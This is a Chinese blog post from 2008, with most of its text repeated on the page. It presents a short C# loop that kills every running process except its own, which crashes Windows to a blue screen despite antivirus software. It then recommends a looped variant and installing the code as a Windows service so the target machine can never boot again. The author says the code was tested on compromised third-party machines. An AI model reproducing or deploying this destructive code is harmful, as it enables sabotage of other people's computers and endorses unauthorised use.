真没想到3行纯c#代码就造成死机,竟如此容易,还是最新的卡巴麦咖啡
2008-09-29 12:34
441 查看
try{foreach (Process p in Process.GetProcesses())
{try{if (p.Id != Process.GetCurrentProcess().Id)
p.Kill();}catch { }} }catch { }
这样就能死机?没错这样就能死机!
测试环境
1、winxp sp3(及所有关键、推荐更新)+卡巴2008最新病毒库 虚拟机里
2、win2003sp2(及所有关键、推荐更新)+今天刚装的最新的mcafee8.7企业版+antispyware 真机里
起因,今天没事在虚拟机测试者玩就这3行代码看看运行什么样的,本以为只能退出一些无关紧要的程序+出来一些错误提示而已,没想到一运行马上蓝屏就死机了,重启虚拟机又试,结果又马上就蓝屏死机,于是我想虚拟机系统本身有几个进程是虚拟机自带的是不是这个kill后造成系统失败呢,我就关上虚拟机在我的真机里测试。今天装的刚新出的mcafee8.7企业版,运行后系统的主题没有了,成了经典主体了,一般系统错误比较严重的时候出现这种情况。又马上运行一次,这次蓝屏死机了。真没想到造成死机这么容易,也没想到process.kill()如此的强劲,我有点肃然起敬,因为原来我感觉.net下面封装的类都是非常安全权限很低的,它把一些稍微危险的操作都去掉了,所以动不动就得找api的。
话说回来了,在真机里不是马上蓝屏是第二次执行的时候蓝屏的,不过这两次执行相隔不到2秒,那么改成这样就行了
while (true)
{
try{foreach (Process p in Process.GetProcesses())
{try{if (p.Id != Process.GetCurrentProcess().Id)
p.Kill();}catch { }} }catch { }
}
刚刚测试,绝无瞎话,由于很兴奋故上来打打字,大家有兴趣可以测试一下玩玩。
=========================
补充上午忘了一句p.Id != Process.GetCurrentProcess().Id就是说如果是本进程id就不kill,并且死循环,一点就会马上死机了,我在本机、虚拟机试了很多次,并在肉鸡试过很多次,屡试不爽。必须要加try catch,否则当遇到不能结束的进程什么的一报错本程序就崩溃了。
如果新建一个win服务程序,并在onstart的地方写上这段代码,并给某机器注册服务并启动,那么他的机器就再也启不来了,因为每次启动还没登陆的时候就死机了(已在某南棒肉鸡上试验)。那么能不能通过安全模式来取消注册,我没敢试过不好说。
{try{if (p.Id != Process.GetCurrentProcess().Id)
p.Kill();}catch { }} }catch { }
这样就能死机?没错这样就能死机!
测试环境
1、winxp sp3(及所有关键、推荐更新)+卡巴2008最新病毒库 虚拟机里
2、win2003sp2(及所有关键、推荐更新)+今天刚装的最新的mcafee8.7企业版+antispyware 真机里
起因,今天没事在虚拟机测试者玩就这3行代码看看运行什么样的,本以为只能退出一些无关紧要的程序+出来一些错误提示而已,没想到一运行马上蓝屏就死机了,重启虚拟机又试,结果又马上就蓝屏死机,于是我想虚拟机系统本身有几个进程是虚拟机自带的是不是这个kill后造成系统失败呢,我就关上虚拟机在我的真机里测试。今天装的刚新出的mcafee8.7企业版,运行后系统的主题没有了,成了经典主体了,一般系统错误比较严重的时候出现这种情况。又马上运行一次,这次蓝屏死机了。真没想到造成死机这么容易,也没想到process.kill()如此的强劲,我有点肃然起敬,因为原来我感觉.net下面封装的类都是非常安全权限很低的,它把一些稍微危险的操作都去掉了,所以动不动就得找api的。
话说回来了,在真机里不是马上蓝屏是第二次执行的时候蓝屏的,不过这两次执行相隔不到2秒,那么改成这样就行了
while (true)
{
try{foreach (Process p in Process.GetProcesses())
{try{if (p.Id != Process.GetCurrentProcess().Id)
p.Kill();}catch { }} }catch { }
}
刚刚测试,绝无瞎话,由于很兴奋故上来打打字,大家有兴趣可以测试一下玩玩。
=========================
补充上午忘了一句p.Id != Process.GetCurrentProcess().Id就是说如果是本进程id就不kill,并且死循环,一点就会马上死机了,我在本机、虚拟机试了很多次,并在肉鸡试过很多次,屡试不爽。必须要加try catch,否则当遇到不能结束的进程什么的一报错本程序就崩溃了。
如果新建一个win服务程序,并在onstart的地方写上这段代码,并给某机器注册服务并启动,那么他的机器就再也启不来了,因为每次启动还没登陆的时候就死机了(已在某南棒肉鸡上试验)。那么能不能通过安全模式来取消注册,我没敢试过不好说。
相关文章推荐
- 根据C#代码重写了datagridcomboxcolumn,发现这个还是挺好的
- java容易找到工作些还是C#容易找到工作些
- 微软内部代码检查工具 StyleCop 最新版(Microsoft Source Analysis for C#)
- jQuery Validation实例代码 让验证变得如此容易
- C# 代码中调用ActiveX控件更新接口造成编译错误的问题
- 猛犸代码助手V3.0 最新版代码生成器 可以生成C#Winform \VC++MFC代码
- SYD8801 UART使用说明【uart轮发数据代码实现】【 uart中断发数据代码实现】【RFSleep函数对串口的影响】【中断中调用串口打印函数有可能会造成死机】
- Ping 功能C#3行代码实现
- 微软内部代码检查工具 StyleCop 最新版(Microsoft Source Analysis for C#)
- 微软内部代码检查工具 StyleCop 最新版(Microsoft Source Analysis for C#)
- jQuery Validation实例代码 让验证变得如此容易
- C#中判断字符串是全角还是半角的实现代码
- struts2之高危远程代码执行漏洞,可造成服务器被入侵,下载最新版本进行修复
- struts2之高危远程代码执行漏洞,可造成服务器被入侵,下载最新版本进行修复
- C#显示时间 最新最全的代码
- C# office 控件编程 由于word中排版造成word复制【含书签】容易遇到的问题 .docx
- 微软内部代码检查工具 StyleCop 最新版(Microsoft Source Analysis for C#)
- 微软内部代码检查工具 StyleCop 最新版(Microsoft Source Analysis for C#)
- 微软内部代码检查工具 StyleCop 最新版(Microsoft Source Analysis for C#)
- C#简单文件下载-3行代码